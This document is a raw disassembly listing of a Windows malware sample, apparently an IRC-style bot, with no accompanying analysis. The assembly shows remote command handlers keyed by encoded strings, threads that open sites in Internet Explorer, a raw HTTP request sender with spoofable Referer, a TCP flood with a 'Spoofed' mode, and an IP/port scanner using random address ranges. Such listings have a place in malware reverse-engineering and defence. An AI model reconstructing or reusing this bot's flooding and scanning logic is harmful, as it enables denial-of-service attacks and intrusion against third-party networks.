		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40A037
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		jnz	short loc_40A020
		cmp	[ebp+arg_18], 0
		jnz	short loc_40A02A
		push	eax
		push	offset aVisitthreads ; "VisitThreads"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_40A020:				; CODE XREF: sub_403B2C+64D6j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_40A02A:				; CODE XREF: sub_403B2C+64DCj
		push	[ebp+arg_C]
		push	offset aVisitThreads ; "Visit Threads"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_40A037:				; CODE XREF: sub_403B2C+64C6j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1998],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1994],	eax
		test	eax, eax
		lea	eax, [ebp+var_1A1C]
		jnz	short loc_40A058
		push	dword ptr [edi+0Ch]
		jmp	short loc_40A05A
; ---------------------------------------------------------------------------


loc_40A058:				; CODE XREF: sub_403B2C+6525j
		push	dword ptr [edi]


loc_40A05A:				; CODE XREF: sub_403B2C+652Aj
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1B24],	eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_1B1C]
		push	eax
		call	sub_4222F0
		mov	eax, [esi+8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40A097
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A9C]
		push	eax
		call	sub_4222F0
		add	esp, 0Ch


loc_40A097:				; CODE XREF: sub_403B2C+6557j
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		jnz	short loc_40A0BF
		cmp	[ebp+arg_18], 0
		jnz	short loc_40A0C5
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSS__0	; "%s --> (%s)."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_40A0BF:				; CODE XREF: sub_403B2C+6574j
		cmp	[ebp+arg_18], 0
		jz	short loc_40A0DB


loc_40A0C5:				; CODE XREF: sub_403B2C+657Aj
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSS__0	; "%s --> (%s)."
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 14h


loc_40A0DB:				; CODE XREF: sub_403B2C+6597j
		push	dword ptr [esi+4]
		push	ebx
		push	offset aSS__0	; "%s --> (%s)."
		push	18h
		call	sub_41BED7
		add	esp, 10h
		mov	[ebp+var_199C],	eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_1B24]
		push	esi
		push	eax
		push	offset sub_42042B
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_199C]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jz	loc_408CE9
		jmp	short loc_40A133
; ---------------------------------------------------------------------------


loc_40A12B:				; CODE XREF: sub_403B2C+660Ej
		push	32h
		call	dword_42F15C	; Sleep


loc_40A133:				; CODE XREF: sub_403B2C+65FDj
		cmp	[ebp+var_198C],	0
		jz	short loc_40A12B
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40A141:				; CODE XREF: sub_403B2C+6492j
		push	dword ptr [esi]
		push	offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A173
		push	offset aVisit	; "Visit"
		push	18h


loc_40A155:				; CODE XREF: sub_403B2C+59ABj
					; sub_403B2C+62E6j
		push	0
		push	[ebp+arg_20]
		push	[ebp+arg_18]


loc_40A15D:				; CODE XREF: sub_403B2C+6060j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi+0Ch]


loc_40A166:				; CODE XREF: sub_403B2C+75j
					; sub_403B2C+85j ...
		call	sub_41C090


loc_40A16B:				; CODE XREF: sub_403B2C+446j
					; sub_403B2C+4F39j
		add	esp, 20h
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40A173:				; CODE XREF: sub_403B2C+6620j
		push	dword ptr [esi]
		push	offset aV6jbh0k4uD_ ; "V6jBH0k4u/d."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40A213
		mov	eax, [esi+4]
		test	eax, eax
		jz	loc_40A3FE
		xor	esi, esi
		push	esi
		push	esi
		push	eax
		push	offset aIexplore ; "iexplore"
		push	offset aOpen	; "open"
		push	esi
		call	dword_42F23C
		test	eax, eax
		mov	ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		jz	short loc_40A1E6
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSiteOpened_ ; "%s	Site opened."
		jnz	short loc_40A1C9
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_40A1C9:				; CODE XREF: sub_403B2C+668Bj
		cmp	[ebp+arg_18], 0
		jz	loc_404808
		push	ebx
		push	esi
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 10h
		xor	esi, esi
		jmp	short loc_40A1FF
; ---------------------------------------------------------------------------


loc_40A1E6:				; CODE XREF: sub_403B2C+6680j
		cmp	[ebp+arg_14], esi
		jnz	short loc_40A1FF
		push	ebx
		push	offset aSSiteFailedToO ; "%s Site failed to open."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_40A1FF:				; CODE XREF: sub_403B2C+66B8j
					; sub_403B2C+66BDj
		cmp	[ebp+arg_18], esi
		jz	loc_404808
		push	ebx
		push	offset aSSiteFailedToO ; "%s Site failed to open."
		jmp	loc_40484D
; ---------------------------------------------------------------------------


loc_40A213:				; CODE XREF: sub_403B2C+6652j
		push	dword ptr [esi]
		push	offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A234
		push	eax
		push	offset aIexplore_exe ; "iexplore.exe"
		call	sub_418614
		pop	ecx
		mov	esi, offset aSStopped_ ; "%s Stopped."
		pop	ecx
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------


loc_40A234:				; CODE XREF: sub_403B2C+66F2j
		push	dword ptr [esi]
		push	offset aX4cty1aeqwx ; "X4Cty1aEQwX/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_404808
		cmp	[esi+4], eax
		jz	loc_40A3FE
		cmp	[esi+8], eax
		jz	loc_40A3FE
		cmp	[esi+0Ch], eax
		jz	loc_40A3FE
		cmp	[esi+10h], eax
		jz	loc_40A3FE
		lea	eax, [ebp+var_5CAC]
		push	eax
		push	101h
		call	dword_42F290	; WSAStartup
		push	dword ptr [esi+4]
		call	dword_42F274	; gethostbyname
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_40A2A3
		mov	esi, offset aSSocketError_ ; "%s Socket	Error."


loc_40A28F:				; CODE XREF: sub_403B2C+6706j
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		jnz	loc_407742
		jmp	loc_407732
; ---------------------------------------------------------------------------


loc_40A2A3:				; CODE XREF: sub_403B2C+675Cj
		push	6
		push	1
		push	2
		call	dword_42F29C	; socket
		mov	[ebp+arg_C], eax
		mov	[ebp+var_16C], 2
		mov	eax, [ebx+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_168], eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		call	dword_42F2B8	; ntohs
		mov	[ebp+var_16A], ax
		lea	eax, [ebp+var_16C]
		push	10h
		push	eax
		push	[ebp+arg_C]
		call	dword_42F294	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A35C
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_42E0]
		push	dword ptr [esi+14h]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\r\nReferer: %s\r\nUser-Agent"...
		push	100h
		push	eax
		call	sub_42219B
		add	esp, 1Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_42E0]
		push	ebx
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_42E0]
		push	eax
		push	[ebp+arg_C]
		call	dword_42F288	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A35C
		push	ebx
		lea	eax, [ebp+var_3CD8]
		push	80h
		push	eax
		push	[ebp+arg_C]
		call	dword_42F28C	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A39F


loc_40A35C:				; CODE XREF: sub_403B2C+67C8j
					; sub_403B2C+6813j
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		mov	esi, offset aSSocketError_ ; "%s Socket	Error."
		jnz	short loc_40A37C
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_40A37C:				; CODE XREF: sub_403B2C+683Ej
		cmp	[ebp+arg_18], 0
		jz	short loc_40A391
		push	ebx
		push	esi
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 10h


loc_40A391:				; CODE XREF: sub_403B2C+6854j
		push	[ebp+arg_C]
		call	dword_42F298	; closesocket
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40A39F:				; CODE XREF: sub_403B2C+682Ej
		push	[ebp+arg_C]
		call	dword_42F298	; closesocket
		lea	eax, [ebp+var_3CD8]
		push	offset asc_433F80 ; "\n"
		push	eax
		call	sub_422248
		push	eax
		lea	eax, [ebp+var_ACAC]
		push	eax
		call	sub_422063
		add	esp, 10h
		cmp	[ebp+arg_14], ebx
		mov	esi, offset aS_1 ; "%s"
		jnz	short loc_40A3E9
		lea	eax, [ebp+var_ACAC]
		push	eax
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_40A3E9:				; CODE XREF: sub_403B2C+68A5j
		cmp	[ebp+arg_18], ebx
		jz	loc_404808
		lea	eax, [ebp+var_ACAC]
		push	eax
		jmp	loc_40484C
; ---------------------------------------------------------------------------


loc_40A3FE:				; CODE XREF: sub_403B2C+665Dj
					; sub_403B2C+671Cj ...
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_40A40D:				; CODE XREF: sub_403B2C+4FD4j
					; sub_403B2C+4FE5j ...
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jz	loc_40A5E8
		cmp	[esi+8], ebx
		jz	loc_40A5E8
		cmp	[esi+0Ch], ebx
		jz	loc_40A5E8
		cmp	[esi+10h], ebx
		jz	loc_40A5E8
		push	11h
		call	sub_41C254
		cmp	eax, 0Ah
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40A486
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset a8sxng_tdfrt ; "8sXNG.tDfrt/"
		jnz	short loc_40A46F
		cmp	[ebp+arg_18], 0
		jnz	short loc_40A479
		push	eax
		push	offset aTcpThreads ; "Tcp Threads"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_40A46F:				; CODE XREF: sub_403B2C+6925j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_40A479:				; CODE XREF: sub_403B2C+692Bj
		push	[ebp+arg_C]
		push	offset aTcpThreads ; "Tcp Threads"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_40A486:				; CODE XREF: sub_403B2C+6915j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1070],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1074],	eax
		cmp	eax, ebx
		lea	eax, [ebp+var_1108]
		jnz	short loc_40A4A7
		push	dword ptr [edi+0Ch]
		jmp	short loc_40A4A9
; ---------------------------------------------------------------------------


loc_40A4A7:				; CODE XREF: sub_403B2C+6974j
		push	dword ptr [edi]


loc_40A4A9:				; CODE XREF: sub_403B2C+6979j
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1210],	eax
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_1208]
		push	eax
		call	sub_4222F0
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_1084],	eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		mov	[ebp+var_1080],	eax
		push	dword ptr [esi+10h]
		call	sub_422B5A
		push	20h
		mov	[ebp+var_107C],	eax
		push	dword ptr [esi]
		lea	eax, [ebp+var_1188]
		push	eax
		call	sub_4222F0
		add	esp, 24h
		xor	eax, eax
		cmp	[ebp+arg_68], ebx
		setnz	al
		cmp	eax, ebx
		mov	[ebp+var_1078],	eax
		mov	ebx, offset aSpoofed ; "Spoofed"
		jnz	short loc_40A523
		mov	ebx, offset aNormal ; "Normal"


loc_40A523:				; CODE XREF: sub_403B2C+69F0j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		pop	ecx
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		mov	ebx, offset a8sxng_tdfrt ; "8sXNG.tDfrt/"
		push	ebx
		push	offset aSSSDForDSecs_ ;	"%s %s --> (%s:%d) for %d secs."
		push	11h
		call	sub_41BED7
		add	esp, 1Ch
		mov	[ebp+var_1088],	eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_1210]
		push	esi
		push	eax
		push	offset sub_40C847
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_1088]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	esi, dword_42F068
		mov	dword_46D414[ecx], eax
		jnz	short loc_40A5DD
		cmp	[ebp+arg_14], 0
		jnz	short loc_40A5B0
		cmp	[ebp+arg_18], 0
		jnz	short loc_40A5BA
		call	esi ; dword_42F068
		push	eax
		push	ebx
		push	offset aSFailedToSta_4 ; "%s Failed to start flood thread, error:"...
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_40A5B0:				; CODE XREF: sub_403B2C+6A65j
					; sub_403B2C+6ABAj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_40A5BA:				; CODE XREF: sub_403B2C+6A6Bj
		call	esi ; dword_42F068
		push	eax
		push	ebx
		push	offset aSFailedToSta_4 ; "%s Failed to start flood thread, error:"...


loc_40A5C3:				; CODE XREF: sub_403B2C+686j
					; sub_403B2C+A5Bj ...
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491


loc_40A5CD:				; CODE XREF: sub_403B2C+104Aj
					; sub_403B2C+1DD2j ...
		add	esp, 14h
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40A5D5:				; CODE XREF: sub_403B2C+6AB8j
		push	32h
		call	dword_42F15C	; Sleep


loc_40A5DD:				; CODE XREF: sub_403B2C+6A5Fj
		cmp	[ebp+var_106C],	0
		jz	short loc_40A5D5
		jmp	short loc_40A5B0
; ---------------------------------------------------------------------------


loc_40A5E8:				; CODE XREF: sub_403B2C+68E6j
					; sub_403B2C+68EFj ...
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset a8sxng_tdfrt ; "8sXNG.tDfrt/"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_40A5F7:				; CODE XREF: sub_403B2C+4787j
					; sub_403B2C+4798j ...
		xor	eax, eax
		cmp	[esi+4], eax
		jz	loc_40AD70
		cmp	[esi+8], eax
		jz	loc_40AD70
		cmp	[esi+0Ch], eax
		jz	loc_40AD70
		push	8
		call	sub_41C235
		push	dword ptr [esi+4]
		mov	[ebp+arg_C], eax
		call	sub_422B5A
		add	eax, [ebp+arg_C]
		pop	ecx
		pop	ecx
		cmp	eax, 0C9h
		jg	loc_40AF54
		push	dword ptr [esi]
		xor	eax, eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		push	offset aWn7_tNza2v ; "wN7.t/nZA2V/"
		mov	[ebp+var_14], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], eax
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A671
		mov	eax, dword_43295C
		mov	[ebp+var_8], 1
		jmp	loc_40A757
; ---------------------------------------------------------------------------


loc_40A671:				; CODE XREF: sub_403B2C+6B32j
		push	dword ptr [esi]
		push	offset aGkyv90skypy ; "gkYv90Skypy/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A68F
		mov	eax, dword_432960
		mov	[ebp+var_4], 1
		jmp	loc_40A757
; ---------------------------------------------------------------------------


loc_40A68F:				; CODE XREF: sub_403B2C+6B50j
		push	dword ptr [esi]
		push	offset aX2yn5_2imz1 ; "X2yN5/.2ImZ1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A6AD
		mov	eax, dword_432964
		mov	[ebp+var_14], 1
		jmp	loc_40A757
; ---------------------------------------------------------------------------


loc_40A6AD:				; CODE XREF: sub_403B2C+6B6Ej
		push	dword ptr [esi]
		push	offset aNPbw1sdkiw_ ; "N/pbW1sDKiw."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A6CB
		mov	eax, dword_432968
		mov	[ebp+var_C], 1
		jmp	loc_40A757
; ---------------------------------------------------------------------------


loc_40A6CB:				; CODE XREF: sub_403B2C+6B8Cj
		push	dword ptr [esi]
		push	offset aFdxpb0leh21_ ; "fDxPB0lEh21."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A6E6
		mov	eax, dword_43296C
		mov	[ebp+var_1C], 1
		jmp	short loc_40A757
; ---------------------------------------------------------------------------


loc_40A6E6:				; CODE XREF: sub_403B2C+6BAAj
		push	dword ptr [esi]
		push	offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A701
		mov	eax, dword_432970
		mov	[ebp+var_10], 1
		jmp	short loc_40A757
; ---------------------------------------------------------------------------


loc_40A701:				; CODE XREF: sub_403B2C+6BC5j
		push	dword ptr [esi]
		push	offset aUts3o_rfmks_ ; "uts3o.RfmkS."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A71C
		mov	eax, dword_432974
		mov	[ebp+var_18], 1
		jmp	short loc_40A757
; ---------------------------------------------------------------------------


loc_40A71C:				; CODE XREF: sub_403B2C+6BE0j
		push	dword ptr [esi]
		push	offset aBpyvp_fw0vy1 ; "bPYVP.Fw0vY1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A737
		mov	eax, dword_432978
		mov	[ebp+var_20], 1
		jmp	short loc_40A757
; ---------------------------------------------------------------------------


loc_40A737:				; CODE XREF: sub_403B2C+6BFBj
		push	dword ptr [esi]
		push	offset aQxqog1goyq80 ; "QXqOg1gOYq80"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40A752
		mov	eax, dword_43297C
		mov	[ebp+var_28], 1
		jmp	short loc_40A757
; ---------------------------------------------------------------------------


loc_40A752:				; CODE XREF: sub_403B2C+6C16j
		mov	eax, dword_432958


loc_40A757:				; CODE XREF: sub_403B2C+6B40j
					; sub_403B2C+6B5Ej ...
		and	[ebp+arg_8], 0
		mov	[ebp+arg_0], eax
		test	eax, eax
		jle	loc_40AF54
		mov	ebx, offset aRaMr15qabm1 ; "RA/Mr15qAbm1"


loc_40A76B:				; CODE XREF: sub_403B2C+715Fj
		push	dword ptr [esi+4]
		call	sub_422B5A
		cdq
		idiv	[ebp+arg_0]
		mov	[ebp+var_9C], eax
		push	dword ptr [esi+4]
		call	sub_422B5A
		cdq
		idiv	[ebp+arg_0]
		pop	ecx
		pop	ecx
		cmp	eax, 28h
		jle	short loc_40A79A
		mov	[ebp+var_9C], 28h


loc_40A79A:				; CODE XREF: sub_403B2C+6C62j
		push	dword ptr [esi+8]
		call	sub_422B5A
		cmp	eax, 1
		pop	ecx
		mov	[ebp+var_B0], eax
		jnb	short loc_40A7B7
		xor	eax, eax
		inc	eax
		mov	[ebp+var_B0], eax


loc_40A7B7:				; CODE XREF: sub_403B2C+6C80j
		push	6
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40A7C4
		mov	[ebp+var_B0], ecx


loc_40A7C4:				; CODE XREF: sub_403B2C+6C90j
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		cmp	eax, 270Fh
		pop	ecx
		mov	[ebp+var_AC], eax
		jbe	short loc_40A7E4
		mov	[ebp+var_AC], 270Fh


loc_40A7E4:				; CODE XREF: sub_403B2C+6CACj
		or	[ebp+var_98], 0FFFFFFFFh
		and	[ebp+arg_C], 0
		cmp	dword_432088, 0
		jz	loc_40A8F3
		mov	[ebp+arg_4], offset dword_432050


loc_40A803:				; CODE XREF: sub_403B2C+6DA6j
		xor	eax, eax
		cmp	[ebp+var_8], eax
		jz	short loc_40A81A
		mov	eax, [ebp+arg_8]
		imul	eax, 1Ah
		add	eax, offset dword_432658
		jmp	loc_40A8B5
; ---------------------------------------------------------------------------


loc_40A81A:				; CODE XREF: sub_403B2C+6CDCj
		cmp	[ebp+var_4], eax
		jz	short loc_40A82F
		mov	eax, [ebp+arg_8]
		imul	eax, 1Ah
		add	eax, offset dword_4326C0
		jmp	loc_40A8B5
; ---------------------------------------------------------------------------


loc_40A82F:				; CODE XREF: sub_403B2C+6CF1j
		cmp	[ebp+var_14], eax
		jz	short loc_40A841
		mov	eax, [ebp+arg_8]
		imul	eax, 1Ah
		add	eax, offset dword_432710
		jmp	short loc_40A8B5
; ---------------------------------------------------------------------------


loc_40A841:				; CODE XREF: sub_403B2C+6D06j
		cmp	[ebp+var_C], eax
		jz	short loc_40A853
		mov	eax, [ebp+arg_8]
		imul	eax, 1Ah
		add	eax, offset dword_432760
		jmp	short loc_40A8B5
; ---------------------------------------------------------------------------


loc_40A853:				; CODE XREF: sub_403B2C+6D18j
		cmp	[ebp+var_1C], eax
		jz	short loc_40A865
		mov	eax, [ebp+arg_8]
		imul	eax, 1Ah
		add	eax, offset dword_4327B0
		jmp	short loc_40A8B5
; ---------------------------------------------------------------------------


loc_40A865:				; CODE XREF: sub_403B2C+6D2Aj
		cmp	[ebp+var_10], eax
		jz	short loc_40A877
		mov	eax, [ebp+arg_8]
		imul	eax, 1Ah
		add	eax, offset dword_432800
		jmp	short loc_40A8B5
; ---------------------------------------------------------------------------


loc_40A877:				; CODE XREF: sub_403B2C+6D3Cj
		cmp	[ebp+var_18], eax
		jz	short loc_40A889
		mov	eax, [ebp+arg_8]
		imul	eax, 1Ah
		add	eax, offset dword_432868
		jmp	short loc_40A8B5
; ---------------------------------------------------------------------------


loc_40A889:				; CODE XREF: sub_403B2C+6D4Ej
		cmp	[ebp+var_20], eax
		jz	short loc_40A89B
		mov	eax, [ebp+arg_8]
		imul	eax, 1Ah
		add	eax, offset dword_4328B8


loc_40A899:				; DATA XREF: .text:00438F54o
					; .text:00438F98o ...
		jmp	short loc_40A8B5
; ---------------------------------------------------------------------------


loc_40A89B:				; CODE XREF: sub_403B2C+6D60j
		cmp	[ebp+var_28], eax
		mov	eax, [ebp+arg_8]
		jz	short loc_40A8AD
		imul	eax, 1Ah
		add	eax, offset dword_432908
		jmp	short loc_40A8B5
; ---------------------------------------------------------------------------


loc_40A8AD:				; CODE XREF: sub_403B2C+6D75j
		imul	eax, 1Ah
		add	eax, offset dword_4325F0


loc_40A8B5:				; CODE XREF: sub_403B2C+6CE9j
					; sub_403B2C+6CFEj ...
		push	eax
		push	[ebp+arg_4]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A8DA
		add	[ebp+arg_4], 48h
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+38h], 0
		jnz	loc_40A803
		jmp	short loc_40A8F3
; ---------------------------------------------------------------------------


loc_40A8DA:				; CODE XREF: sub_403B2C+6D96j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_98], eax
		lea	ecx, [eax+eax*8]
		mov	ecx, dword_432088[ecx*8]
		mov	[ebp+var_B4], ecx


loc_40A8F3:				; CODE XREF: sub_403B2C+6CCAj
					; sub_403B2C+6DACj
		xor	ecx, ecx
		cmp	[ebp+var_B4], ecx
		jnz	short loc_40A93D
		cmp	[ebp+arg_14], ecx
		jnz	short loc_40A91B
		cmp	[ebp+arg_18], ecx
		jnz	short loc_40A925
		push	ebx
		push	offset aSInvalidPort_ ;	"%s Invalid port."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_40A91B:				; CODE XREF: sub_403B2C+6DD4j
		cmp	[ebp+arg_18], 0
		jz	loc_40AC82


loc_40A925:				; CODE XREF: sub_403B2C+6DD9j
		push	ebx
		push	offset aSPortInvalid_ ;	"%s Port invalid."
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 10h
		jmp	loc_40AC82
; ---------------------------------------------------------------------------


loc_40A93D:				; CODE XREF: sub_403B2C+6DCFj
		mov	eax, [esi+10h]
		cmp	eax, ecx
		jz	loc_40A9D0
		push	eax
		push	offset aX_x_x_x	; "x.x.x.x"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A9A1
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		pop	ecx


loc_40A966:				; CODE XREF: sub_403B2C+6E4Dj
		call	sub_4220FC
		cdq
		mov	ecx, 0F0h
		idiv	ecx
		add	edx, 4
		cmp	edx, 7Fh
		jz	short loc_40A966
		push	edx
		push	offset aD_x_x_x	; "%d.x.x.x"
		lea	eax, [ebp+var_144]
		push	10h
		push	eax
		call	sub_42219B
		add	esp, 10h


loc_40A992:				; CODE XREF: sub_403B2C+7020j
					; sub_403B2C+7028j ...
		mov	[ebp+var_88], 1
		jmp	loc_40AB85
; ---------------------------------------------------------------------------


loc_40A9A1:				; CODE XREF: sub_403B2C+6E2Bj
		push	dword ptr [esi+10h]
		lea	eax, [ebp+var_144]
		push	10h
		push	eax
		call	sub_42219B
		push	78h
		push	dword ptr [esi+10h]
		call	sub_4233B0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax


loc_40A9C5:				; CODE XREF: sub_403B2C+6F9Ej
		mov	[ebp+var_88], eax
		jmp	loc_40AB85
; ---------------------------------------------------------------------------


loc_40A9D0:				; CODE XREF: sub_403B2C+6E16j
		cmp	[ebp+arg_60], ecx
		jnz	short loc_40AA21
		cmp	[ebp+arg_50], ecx
		jnz	short loc_40A9ED
		cmp	[ebp+arg_54], ecx
		jnz	short loc_40A9ED
		cmp	[ebp+arg_58], ecx
		jnz	short loc_40A9ED
		cmp	[ebp+arg_5C], ecx
		jz	loc_40AD53


loc_40A9ED:				; CODE XREF: sub_403B2C+6EACj
					; sub_403B2C+6EB1j ...
		mov	ecx, [ebp+arg_10]
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		mov	[ebp+var_54], 10h
		call	sub_41112B
		push	eax
		call	dword_4542A8	; getsockname
		cmp	[ebp+arg_50], 0
		jz	loc_40AACF
		and	[ebp+var_48], 0FFh
		jmp	loc_40AAE6
; ---------------------------------------------------------------------------


loc_40AA21:				; CODE XREF: sub_403B2C+6EA7j
		cmp	[ebp+arg_50], ecx
		jz	short loc_40AA2F
		mov	[ebp+arg_C], 1
		jmp	short loc_40AA4D
; ---------------------------------------------------------------------------


loc_40AA2F:				; CODE XREF: sub_403B2C+6EF8j
		cmp	[ebp+arg_54], ecx
		jz	short loc_40AA3D
		mov	[ebp+arg_C], 2
		jmp	short loc_40AA4D
; ---------------------------------------------------------------------------


loc_40AA3D:				; CODE XREF: sub_403B2C+6F06j
		cmp	[ebp+arg_58], ecx
		jz	loc_40AD5A
		mov	[ebp+arg_C], 3


loc_40AA4D:				; CODE XREF: sub_403B2C+6F01j
					; sub_403B2C+6F0Fj
		push	offset byte_44D6A4
		push	offset dword_4552D0
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AA71
		push	offset dword_4552D0
		call	sub_414173
		test	eax, eax
		pop	ecx
		jz	short loc_40AA9A


loc_40AA71:				; CODE XREF: sub_403B2C+6F34j
		mov	ecx, [ebp+arg_10]
		call	sub_41111B
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_4105B8
		push	2710h
		push	eax
		mov	[ebp+arg_4], eax
		call	dword_42F064	; WaitForSingleObject
		push	[ebp+arg_4]
